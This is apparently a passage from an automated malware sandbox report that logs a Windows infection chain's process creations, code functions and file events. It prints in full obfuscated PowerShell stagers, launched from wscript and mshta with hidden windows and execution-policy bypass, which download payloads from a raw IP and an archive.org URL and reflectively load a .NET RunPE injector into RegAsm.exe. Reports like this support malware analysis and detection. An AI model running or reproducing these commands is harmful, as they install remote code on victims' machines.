AgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.cmdline"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

11_2_0041CBE1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_03743BD5 pushfd ; retf	3_2_03743BD9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_03743BCA pushfd ; retf	3_2_03743BD9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_07DC1FB2 push FFFFFF8Bh; iretd	3_2_07DC1FC5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_07DC2506 push esp; iretd	3_2_07DC2515
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_07DC2228 push FFFFFF8Bh; iretd	3_2_07DC223B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_07DC21EF push FFFFFF8Bh; iretd	3_2_07DC2202
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_07DC3009 push FFFFFF8Bh; retf	3_2_07DC301C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_04AE6902 push esi; retf	9_2_04AE6907
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00457186 push ecx; ret	11_2_00457199
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0045E55D push esi; ret	11_2_0045E566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00457AA8 push eax; ret	11_2_00457AC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00434EB6 push ecx; ret	11_2_00434EC9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00406EEB ShellExecuteW,URLDownloadToFileW,

11_2_00406EEB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

11_2_0041AADB

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

11_2_0041CBE1

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
